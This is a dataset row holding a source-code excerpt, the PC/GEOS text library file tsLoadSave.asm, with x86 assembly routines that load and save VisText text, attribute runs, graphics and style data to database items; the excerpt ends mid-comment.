max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
Library/Text/TextStorage/tsLoadSave.asm
steakknife/pcgeos
504
81022
<filename>Library/Text/TextStorage/tsLoadSave.asm<gh_stars>100-1000 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: TextStorage FILE: tsLoadSave.asm AUTHOR: Tony ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 5/22/89 Initial revision DESCRIPTION: $Id: tsLoadSave.asm,v 1.1 97/04/07 11:22:02 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TextStorageCode segment resource COMMENT @---------------------------------------------------------------------- MESSAGE: VisTextSetVMFile -- MSG_VIS_TEXT_SET_VM_FILE for VisTextClass DESCRIPTION: Change the file handle with which the text object is associated PASS: *ds:si - instance data es - segment of VisTextClass ax - The message cx - VMFileHandle RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/10/91 Initial version ------------------------------------------------------------------------------@ VisTextSetVMFile proc far ; MSG_VIS_TEXT_SET_VM_FILE class VisTextClass mov ds:[di].VTI_vmFile, cx ret VisTextSetVMFile endp COMMENT @---------------------------------------------------------------------- MESSAGE: VisTextLoadFromDBItem -- MSG_VIS_TEXT_LOAD_FROM_DB_ITEM for VisTextClass DESCRIPTION: Load a text object from a DB item PASS: *ds:si - instance data es - segment of VisTextClass ax - The message cx.dx - DBItem to load from bp - VMFileHandle to use (or 0 to use VTI_vmFile) RETURN: DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/10/91 Initial version ------------------------------------------------------------------------------@ VisTextLoadFromDBItem proc far ; MSG_VIS_TEXT_LOAD_FROM_DB_ITEM mov_tr ax, bp ;ax = file clr bp ;no styles call LoadDBCommon ret VisTextLoadFromDBItem endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisTextLoadFromDBItemFormat %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Loads the data from a locked DB item CALLED BY: GLOBAL PASS: cx:dx - data to load RETURN: nada DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 1/27/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisTextLoadFromDBItemFormat proc far ;MSG_VIS_TEXT_LOAD_FROM_DB_ITEM_FORMAT class VisTextClass .enter EC < test ds:[di].VTI_storageFlags, mask VTSF_LARGE > EC < ERROR_NZ VIS_TEXT_REQUIRES_SMALL_TEXT_OBJECT > ; Delete the old data in the text object movdw esdi, cxdx mov ax, es:[di] call DeleteRunsForLoadFromDBItem mov ax, MSG_VIS_TEXT_DELETE_ALL call ObjCallInstanceNoLock clr bp call LoadDataFromDBItem ; nuke any cached information mov ax, TEMP_VIS_TEXT_CACHED_RUN_INFO call ObjVarDeleteData mov ax, MSG_VIS_TEXT_RECALC_AND_DRAW call ObjCallInstanceNoLock mov ax, VIS_TEXT_STANDARD_NOTIFICATION_FLAGS call TA_SendNotification .leave ret VisTextLoadFromDBItemFormat endp ;--- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DeleteRunsForLoadFromDBItem %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Deletes the runs for "LoadFromDBItem" CALLED BY: GLOBAL PASS: ax - VisTextSaveDBFlags *ds:si - VisText object RETURN: nada DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 1/27/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DeleteRunsForLoadFromDBItem proc near uses bx, cx, dx, bp, di class VisTextClass .enter mov cl, offset VTSDBF_CHAR_ATTR mov bx, offset VTI_charAttrRuns call DeleteRuns1N mov cl, offset VTSDBF_PARA_ATTR mov bx, offset VTI_paraAttrRuns call DeleteRuns1N mov cl, offset VTSDBF_TYPE mov bx, OFFSET_FOR_TYPE_RUNS call DeleteRuns1N mov cl, offset VTSDBF_GRAPHIC mov bx, OFFSET_FOR_GRAPHIC_RUNS clr dl ;dl <- start run call DeleteRunsCommon call DeleteGraphicsForLoad .leave ret DeleteRunsForLoadFromDBItem endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LoadDataFromDBItem %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Loads the data from the passed locked DB item CALLED BY: GLOBAL PASS: *ds:si - text object es:di - data bp - StyleSheetParams structure (or 0 for none) RETURN: nada DESTROYED: ax, bx, cx, dx, bp, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: If a StyleSheetParams structure is passed in it means that we are moving a text object from one attribute space into another attribute space (we abritrarily say that without style information we will not move between attribute spaces, not a elegant solution). Thus is bp!=0 we copy elements one by one, which we should probably do for non style sheet cases also, but we do not. REVISION HISTORY: Name Date Description ---- ---- ----------- atw 1/27/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LoadDataFromDBItem proc near class VisTextClass .enter mov ax, es:[di] ;ax = flags add di, size word ;es:di = next data ; load the text (if any) test ax, mask VTSDBF_TEXT jz noLoadText push ax mov ax, VTST_SINGLE_CHUNK mov bx, offset VTI_text clc ;normal instance data call LoadDataFromDB pop ax noLoadText: ; load the character attribute information (if any) push ax and ax, mask VTSDBF_CHAR_ATTR mov cl, offset VTSDBF_CHAR_ATTR shr ax, cl jz noLoadCharAttr mov bx, offset VTI_charAttrRuns call loadRun noLoadCharAttr: pop ax ; load the paragraph attribute information (if any) push ax and ax, mask VTSDBF_PARA_ATTR mov cl, offset VTSDBF_PARA_ATTR shr ax, cl jz noLoadParaAttr mov bx, offset VTI_paraAttrRuns call loadRun noLoadParaAttr: pop ax ; load the type information (if any) push ax and ax, mask VTSDBF_TYPE mov cl, offset VTSDBF_TYPE shr ax, cl jz noLoadType mov bx, ATTR_VIS_TEXT_TYPE_RUNS stc ;variable instance data call LoadDataFromDB noLoadType: pop ax ; load the graphic information (if any) push ax and ax, mask VTSDBF_GRAPHIC mov cl, offset VTSDBF_GRAPHIC shr ax, cl jz noLoadGraphic mov bx, ATTR_VIS_TEXT_GRAPHIC_RUNS tst_clc bp ;clear carry to indicate normal instance ;data jnz 5$ stc ;variable instance data call LoadDataFromDB jmp 6$ 5$: call LoadGraphicRunFromDB 6$: noLoadGraphic: pop ax ; load the style information (if any) push ax test ax, mask VTSDBF_STYLE jz noLoadStyles mov bx, ATTR_VIS_TEXT_STYLE_ARRAY mov al, VTST_SINGLE_CHUNK stc ;variable instance data call LoadDataFromDB call StyleSheetIncNotifyCounter ;force style sheet update noLoadStyles: pop ax ; load the region information (if any) if 0 push ax test ax, mask VTSDBF_REGION jz noLoadRegions mov bx, ATTR_VIS_TEXT_REGION_ARRAY mov al, VTST_SINGLE_CHUNK stc ;variable instance data call LoadDataFromDB call StyleSheetIncNotifyCounter ;force style sheet update noLoadRegions: pop ax endif ; load the name information (if any) push ax test ax, mask VTSDBF_NAME jz noLoadNames mov bx, ATTR_VIS_TEXT_NAME_ARRAY mov al, VTST_SINGLE_CHUNK stc ;variable instance data call LoadDataFromDB call StyleSheetIncNotifyCounter ;force style sheet update noLoadNames: pop ax .leave ret ;--- loadRun: tst_clc bp ;clear carry to indicate normal instance ;data jnz 10$ call LoadDataFromDB retn 10$: call LoadStyledRunFromDB retn LoadDataFromDBItem endp ; ax = file ; bp = StyleSheetParams structure (or 0 for none) LoadDBCommon proc near class VisTextClass EC < test ds:[di].VTI_storageFlags, mask VTSF_LARGE > EC < ERROR_NZ VIS_TEXT_REQUIRES_SMALL_TEXT_OBJECT > tst cx LONG jz doDelete ; if a VM file passed then set it mov_tr bx, ax tst bx jnz gotFile call T_GetVMFile ;bx = file gotFile: ; ; Delete any old runs first. We do this because otherwise ; deleting the text below will cause the reference counts ; on the elements to be decremented. When they reach zero, ; of course, they will be deleted. ; However, we only do this if we are loading new runs without ; new elements (VTST_RUNS_ONLY) ; call LockCXDXToESDI mov ax, es:[di] ;ax <- flags call DBUnlock call DeleteRunsForLoadFromDBItem doDelete: ; suspend the object and clear the current text push cx, dx, bp mov ax, MSG_VIS_TEXT_DELETE_ALL call ObjCallInstanceNoLock pop cx, dx, bp ; lock the DB item (if any) jcxz afterLoad call LockCXDXToESDI ;es:di = data call LoadDataFromDBItem call DBUnlock afterLoad: ; nuke any cached information mov ax, TEMP_VIS_TEXT_CACHED_RUN_INFO call ObjVarDeleteData mov ax, MSG_VIS_TEXT_RECALC_AND_DRAW call ObjCallInstanceNoLock mov ax, VIS_TEXT_STANDARD_NOTIFICATION_FLAGS call TA_SendNotification ret LoadDBCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetTestSaveType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get and test the VisTextSaveType from VisTextSaveDBFlags CALLED BY: DeleteRunsCommon(), DeleteGraphicsForLoad() ax - VisTextSaveDBFlags for item we're loading cl - offset of saved info for runs in VisTextSaveDBFlags RETURN: z flag - set (je) if VTST_RUNS_ONLY ax - VisTextSaveType DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 11/29/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetTestSaveType proc near .enter shr ax, cl andnf ax, VisTextSaveType-1 ;ax <- VisTextSaveType cmp ax, VTST_RUNS_ONLY ;runs only? .leave ret GetTestSaveType endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DeleteRunsCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete runs from text object before a load CALLED BY: LoadDBCommon() PASS: *ds:si - text object ax - VisTextSaveDBFlags for item we're loading cl - offset of saved info for runs in VisTextSaveDBFlags bx - offset of run array dl - start run (0 or 1) RETURN: ds - fixed up DESTROYED: bx, dx PSEUDO CODE/STRATEGY: normally delete all but first and last runs (start = 1) if graphics, delete all but the last run (start = 0) KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 11/28/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DeleteRuns1N proc near mov dl, 1 FALL_THRU DeleteRunsCommon DeleteRuns1N endp DeleteRunsCommon proc near uses ax, cx, si .enter ; ; See if runs of this type exist in the item we're about to load ; call GetTestSaveType jne skipDelete ;branch if not runs only ; ; Get the VM file to use ; push ds:LMBH_handle ;save for fixup push bx call T_GetVMFile mov_tr ax, bx ;ax <- VM file handle pop bx ;bx <- offset of run array push ax ;save VM file handle ; ; Lock the run array ; call FarRunArrayLock ;ds:si <- first element ; ; Skip to the start run to delete ; cmp dl, 1 ;start at one or zero? jne gotStart ;branch if start at 0 call FarRunArrayNext gotStart: pop bx ;bx <- VM file handle ; ; Delete runs until there is only the last one left ; deleteLoop: cmp ds:[si].TRAE_position.WAAH_low, TEXT_ADDRESS_PAST_END_LOW jne notLast cmp ds:[si].TRAE_position.WAAH_high, TEXT_ADDRESS_PAST_END_HIGH je doneDelete ;branch if last element notLast: push bx ;save VM file handle call FarRunArrayDeleteNoElement ;don't delete elements pop bx ;bx <- VM file handle jmp deleteLoop doneDelete: ; ; Unlock the run array ; call FarRunArrayUnlock ; ; Fixup ds if necessary ; pop bx ;bx <- handle of text object call MemDerefDS ;ds <- (new) ds skipDelete: .leave ret DeleteRunsCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DeleteGraphicsForLoad %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete graphics from the text as necessary before a load CALLED BY: LoadDBCommon() PASS: *ds:si - text object ax - VisTextSaveDBFlags for item we're loading cl - offset of saved info for runs in VisTextSaveDBFlags RETURN: ds - fixed up DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 11/29/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DeleteGraphicsForLoad proc near class VisTextClass uses es .enter ; ; See if graphic runs exist in the item we're about to load ; call GetTestSaveType jne skipDelete ;branch if not runs only ; ; See if any text chunk exists ; mov di, ds:[si] add di, ds:[di].Vis_offset mov di, ds:[di].VTI_text ;di <- chunk of text tst di ;any text? jz skipDelete ;branch if no text ; ; Get a pointer to the text ; mov di, ds:[di] segmov es, ds ;es:di <- ptr to text ChunkSizePtr ds, di, cx ;cx <- size of text DBCS < shr cx, 1 ;cx <- # of chars (DBCS) > ; ; Scan the text for graphics chars and replace them ; mov ax, C_GRAPHIC ;ax <- char to scan for scanForGraphics: jcxz skipDelete ;branch if done LocalFindChar ;scan for graphics jne scanForGraphics SBCS < mov {byte}es:[di][-1], C_PERIOD ;> DBCS < mov {word}es:[di][-1], C_PERIOD ;> jmp scanForGraphics skipDelete: .leave ret DeleteGraphicsForLoad endp COMMENT @---------------------------------------------------------------------- FUNCTION: LoadDataFromDB DESCRIPTION: Load a chunk from the DB file. This also marks the object as "clean". CALLED BY: INTERNAL PASS: *ds:si - text object carry - set if variable instance data bx - if normal instance data: offset (in instance data) of chunk if variable instance data: vardata key es:di - data to read from al - VisTextSaveType RETURN: es:di - pointing after data read in DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/11/91 Initial version ------------------------------------------------------------------------------@ LoadDataFromDB proc near uses si, bp, cx class VisTextClass .enter call GetChunkForLoadSave ;si = chunk ; if reading in run or run&element then get current element array cmp al, VTST_SINGLE_CHUNK jz noElements mov bp, ds:[si] mov cx, ds:[bp].TRAH_elementVMBlock mov bp, ds:[bp].TRAH_elementArray noElements: ; read the data call LoadChunkFromDB ; if single chunk then done cmp al, VTST_SINGLE_CHUNK jz done ; if reading runs only then stuff element chunk & vm block mov si, ds:[si] mov ds:[si].TRAH_elementVMBlock, cx mov ds:[si].TRAH_elementArray, bp cmp al, VTST_RUNS_ONLY jz done mov si, bp call LoadChunkFromDB done: .leave ret LoadDataFromDB endp ;--- GetChunkForLoadSave proc near jnc notVardata push ax, bx, cx mov_tr ax, bx call ObjVarFindData mov si, ds:[bx] pop ax, bx, cx jmp common notVardata: ; get the chunk handle mov si, ds:[si] add si, ds:[si].Vis_offset mov si, ds:[si][bx] ;si = chunk to read into common: ret GetChunkForLoadSave endp COMMENT @---------------------------------------------------------------------- FUNCTION: LoadChunkFromDB DESCRIPTION: Load a chunk from a DB file CALLED BY: INTERNAL PASS: *ds:si - chunk to read into es:di - data to read from RETURN: none DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/11/91 Initial version ------------------------------------------------------------------------------@ LoadChunkFromDB proc near uses ax, cx, si .enter ; the first word is a count -- read it in mov cx, es:[di] ;cx = size add di, 2 mov ax, si ;ax = chunk call LMemReAlloc mov si, ds:[si] ;ds:si = dest segxchg ds, es xchg si, di rep movsb segxchg ds, es mov di, si .leave ret LoadChunkFromDB endp COMMENT @---------------------------------------------------------------------- MESSAGE: VisTextLoadFromDBItemWithStyles -- MSG_VIS_TEXT_LOAD_FROM_DB_ITEM_WITH_STYLES for VisTextClass DESCRIPTION: Load a text object from a DB item PASS: *ds:si - instance data es - segment of VisTextClass ax - The message ss:bp - VisTextLoadFromDBWithStylesParams RETURN: none DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 5/20/92 Initial version ------------------------------------------------------------------------------@ VisTextLoadFromDBItemWithStyles proc far ; MSG_VIS_TEXT_LOAD_FROM_DB_ITEM_WITH_STYLES class VisTextClass if FULL_EXECUTE_IN_PLACE ; ; Validate that the params structure is *not* in a movable code segment ; EC< push bx, si > EC< movdw bxsi, ss:[bp].VTLFDBWSP_params > EC< call ECAssertValidFarPointerXIP > EC< pop bx, si > endif movdw cxdx, ss:[bp].VTLFDBWSP_dbItem mov ax, ss:[bp].VTLFDBWSP_file mov bp, ss:[bp].VTLFDBWSP_params.offset ; somewhat of a hack here -- if this object does not have any runs ; to save then just use the normal save test ds:[di].VTI_storageFlags, mask VTSF_MULTIPLE_CHAR_ATTRS or \ mask VTSF_MULTIPLE_PARA_ATTRS jnz hasRuns mov_tr bp, ax ;bp = VM file mov ax, MSG_VIS_TEXT_LOAD_FROM_DB_ITEM GOTO ObjCallInstanceNoLock hasRuns: ; initialize the StyleSheetParams structure stc ;preserve xfer stuff call LoadSSParams ; if the graphic elements have not yet been relocated then do ; that now push ax, cx, dx, si, bp, ds mov_tr bx, ax ;bx = vm file clr ax xchg ax, ss:[bp].VTSSSP_treeBlock tst ax jz afterRelocation mov dx, ss:[bp].VTSSSP_graphicsElements mov di, ss:[bp].VTSSSP_graphicTreeOffset call VMLock ;lock tree block mov ds, ax mov ax, ds:[di].high call VMUnlock tst ax jz afterRelocation call VMLock ;lock graphics tree block mov es, ax mov di, es:[VMCT_offset] ;es:di = block data mov_tr ax, dx call TT_RelocateGraphics call VMUnlock afterRelocation: pop ax, cx, dx, si, bp, ds call LoadDBCommon ret VisTextLoadFromDBItemWithStyles endp COMMENT @---------------------------------------------------------------------- FUNCTION: LoadStyledRunFromDB DESCRIPTION: Load a run with style information to a DB item. This routine just saves the run (the styles are assumed to be saved elsewhere) CALLED BY: INTERNAL PASS: *ds:si - text object bx - offset (in instance data) of chunk cxdx - db group and item di - offset into db item ss:bp - StyleSheetParams RETURN: di - updated DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/11/91 Initial version ------------------------------------------------------------------------------@ LoadStyledRunFromDB proc near uses ax, bx, cx, dx class VisTextClass .enter ; first we save the run array push si clc call GetChunkForLoadSave ;si = chunk call LoadChunkFromDB pop si push di ;save offset to return ; now we traverse the runs to translate tokens to the transfer space mov di, ds:[si] add di, ds:[di].Vis_offset mov di, ds:[di][bx] ;*ds:di = run mov di, ds:[di] mov cx, ds:[di].CAH_count ;cx = count dec cx ;don't do last array element ; load bx with the offset to pass to the style sheet code (0 for ; char attr, 2 for para attr) ; also get the correct TRAH_elementVMBlock cmp bx, offset VTI_charAttrRuns mov bx, 0 mov dx, ss:[bp].SSP_attrArrays[0*(size StyleChunkDesc)].SCD_vmBlockOrMemHandle jz gotStyleOffset inc bx mov dx, ss:[bp].SSP_attrArrays[1*(size StyleChunkDesc)].SCD_vmBlockOrMemHandle gotStyleOffset: mov ds:[di].TRAH_elementVMBlock, dx add di, ds:[di].CAH_offset clr dx ;optimization block ; ds:di = run ; dx = optimization block ; cx = run size ; bx = run offset to pass to style sheet code translateLoop: push bx, cx push di mov ax, ds:[di].TRAE_token mov di, dx ;di = opt block mov cx, 1 ;flag: from transfer space mov dx, CA_NULL_ELEMENT call StyleSheetCopyElement ;bx = dest token mov dx, di ;dx = opt block pop di mov ds:[di].TRAE_token, bx pop bx, cx add di, size TextRunArrayElement loop translateLoop ; free the optimization block mov bx, dx tst bx jz noFree call MemFree noFree: pop di ;di = offset in db item .leave ret LoadStyledRunFromDB endp COMMENT @---------------------------------------------------------------------- FUNCTION: LoadGraphicRunFromDB DESCRIPTION: Load a graphic run from a DB item. Then merge the graphics elements one-by-one from the source to the destination. CALLED BY: INTERNAL PASS: *ds:si - text object bx - offset (in instance data) of chunk cxdx - db group and item di - offset into db item ss:bp - StyleSheetParams RETURN: di - updated DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/11/91 Initial version ------------------------------------------------------------------------------@ LoadGraphicRunFromDB proc near uses ax, bx, cx, dx graphic local VisTextGraphic class VisTextClass .enter ; first we load the run array. save the elementVMBlock from the existing ; array header, as that's where the new elements should be stored, ; not the VM block in the file from which the transfer item came push si stc call GetChunkForLoadSave ;si = chunk push di mov di, ds:[si] mov cx, ds:[di].TRAH_elementVMBlock pop di push cx mov cx, si call LoadChunkFromDB pop ax ;ax <- element array vm block pop si ;si <- text object push di ;save offset to return ; now we traverse the runs to translate tokens to the transfer space mov di, cx mov di, ds:[di] mov cx, ds:[di].CAH_count ;cx = count mov ds:[di].TRAH_elementVMBlock, ax ;restore vm block of element ; array, after it was trashed ; by LoadChunkFromDB dec cx ;don't do last array element LONG jz done add di, ds:[di].CAH_offset ; ds:di = run ; cx = run size translateLoop: push cx push di mov ax, ds:[di].TRAE_token ; get the graphic from the transfer push si, bp, ds push ax mov cx, ss lea dx, graphic ;cxdx = buffer mov bp, ss:[bp] mov ax, ss:[bp].VTSSSP_graphicsElements mov bx, ss:[bp].SSP_xferAttrArrays[0*(size StyleChunkDesc)].\ SCD_vmFile call VMLock mov ds, ax pop ax mov si, VM_ELEMENT_ARRAY_CHUNK ;*ds:si = array call ChunkArrayGetElement call VMUnlock pop si, bp, ds ; add the graphic to the text object push bp lea bp, graphic call TA_AddGraphicElement ;ax = token pop bp pop di mov ds:[di].TRAE_token, ax pop cx add di, size TextRunArrayElement loop translateLoop done: pop di ;di = offset in db item .leave ret LoadGraphicRunFromDB endp COMMENT @---------------------------------------------------------------------- MESSAGE: VisTextSaveToDBItem -- MSG_VIS_TEXT_SAVE_TO_DB_ITEM for VisTextClass DESCRIPTION: Save a text object to a DB item. This also marks the object as "clean". PASS: *ds:si - instance data es - segment of VisTextClass ax - The message cx.dx - DBItem to save to (or 0 to allocate) bp - VisTextSaveDBFlags RETURN: cx.dx - DBItem saved DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/10/91 Initial version ------------------------------------------------------------------------------@ VisTextSaveToDBItem proc far ; MSG_VIS_TEXT_SAVE_TO_DB_ITEM mov_tr ax, bp ;ax = flags call NukeUnneededSaveFlags clr bp ;no styles call SaveDBCommon ret VisTextSaveToDBItem endp ;--- ; ax = flags ; bp = StyleSheetParams structure (or 0 for none) SaveDBCommon proc near class VisTextClass EC < test ds:[di].VTI_storageFlags, mask VTSF_LARGE > EC < ERROR_NZ VIS_TEXT_REQUIRES_SMALL_TEXT_OBJECT > andnf ds:[di].VTI_state, not mask VTS_USER_MODIFIED ;set clean call GetFileForSave ;bx = file ; allocate DB item if needed, else resize to 2 push ax jcxz doesNotExist mov ax, 2 call ReAllocAX jmp common doesNotExist: mov cx, 2 mov ax, DB_UNGROUPED call DBAlloc movdw cxdx, axdi common: pop ax ; store type call LockCXDXToESDI mov es:[di], ax call UnlockDirty mov di, 2 ;offset to data ; save the text (if any) test ax, mask VTSDBF_TEXT jz noSaveText push ax mov al, VTST_SINGLE_CHUNK clc ;normal instance data mov bx, offset VTI_text call SaveDataToDB pop ax noSaveText: ; save the character attribute information (if any) push ax push cx and ax, mask VTSDBF_CHAR_ATTR mov cl, offset VTSDBF_CHAR_ATTR shr ax, cl pop cx jz noSaveCharAttr clc ;normal instance data mov bx, offset VTI_charAttrRuns call saveRun noSaveCharAttr: pop ax ; load the paragraph attribute information (if any) push ax push cx and ax, mask VTSDBF_PARA_ATTR mov cl, offset VTSDBF_PARA_ATTR shr ax, cl pop cx jz noSaveParaAttr clc ;normal instance data mov bx, offset VTI_paraAttrRuns call saveRun noSaveParaAttr: pop ax ; load the type information (if any) push ax push cx and ax, mask VTSDBF_TYPE mov cl, offset VTSDBF_TYPE shr ax, cl pop cx jz noSaveType stc ;variable instance data mov bx, ATTR_VIS_TEXT_TYPE_RUNS call SaveDataToDB noSaveType: pop ax ; load the graphic information (if any) push ax push cx and ax, mask VTSDBF_GRAPHIC mov cl, offset VTSDBF_GRAPHIC shr ax, cl pop cx jz noSaveGraphic mov bx, ATTR_VIS_TEXT_GRAPHIC_RUNS tst_clc bp ;normal instance data jnz 5$ stc ;variable instance data call SaveDataToDB jmp 6$ 5$: call SaveGraphicRunToDB 6$: noSaveGraphic: pop ax ; load the style information (if any) push ax test ax, mask VTSDBF_STYLE jz noSaveStyles mov bx, ATTR_VIS_TEXT_STYLE_ARRAY mov al, VTST_SINGLE_CHUNK stc ;variable instance data call SaveDataToDB noSaveStyles: pop ax ; load the region information (if any) if 0 push ax test ax, mask VTSDBF_REGION jz noSaveRegions mov bx, ATTR_VIS_TEXT_REGION_ARRAY mov al, VTST_SINGLE_CHUNK stc ;variable instance data call SaveDataToDB noSaveRegions: pop ax endif ; load the name information (if any) push ax test ax, mask VTSDBF_NAME jz noSaveNames mov bx, ATTR_VIS_TEXT_NAME_ARRAY mov al, VTST_SINGLE_CHUNK stc ;variable instance data call SaveDataToDB noSaveNames: pop ax ret ;--- saveRun: tst_clc bp ;normal instance data jnz 10$ call SaveDataToDB retn 10$: call SaveStyledRunToDB retn SaveDBCommon endp COMMENT @---------------------------------------------------------------------- FUNCTION: NukeUnneededSaveFlags DESCRIPTION: Clear flags that are telling us to save things that don't exist CALLED BY: INTERNAL PASS: *ds:si - text object ds:di - vis data ax - VisTextSaveDBFlags RETURN: ax - real VisTextSaveDBFlags DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 9/ 8/92 Initial version ------------------------------------------------------------------------------@ NukeUnneededSaveFlags proc near uses bx class VisTextClass .enter mov bl, ds:[di].VTI_storageFlags test bl, mask VTSF_MULTIPLE_CHAR_ATTRS jnz afterCharAttr and ax, not mask VTSDBF_CHAR_ATTR afterCharAttr: test bl, mask VTSF_MULTIPLE_PARA_ATTRS jnz afterParaAttr and ax, not mask VTSDBF_PARA_ATTR afterParaAttr: test bl, mask VTSF_TYPES jnz afterType and ax, not mask VTSDBF_TYPE afterType: test bl, mask VTSF_GRAPHICS jnz afterGraphics and ax, not mask VTSDBF_GRAPHIC afterGraphics: test bl, mask VTSF_STYLES jnz afterStyles and ax, not mask VTSDBF_STYLE afterStyles: .leave ret NukeUnneededSaveFlags endp COMMENT @---------------------------------------------------------------------- FUNCTION: GetFileForSave DESCRIPTION: Get the file to save to CALLED BY: INTERNAL PASS: *ds:si - text object ss:bp - StyleSheetParams (or 0) RETURN: bx - file DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 8/26/92 Initial version ------------------------------------------------------------------------------@ GetFileForSave proc near tst bp jz useObjectFile mov bx, ss:[bp].SSP_xferAttrArrays[0*(size StyleChunkDesc)].\ SCD_vmFile ret useObjectFile: call T_GetVMFile ;bx = file ret GetFileForSave endp COMMENT @---------------------------------------------------------------------- FUNCTION: SaveDataToDB 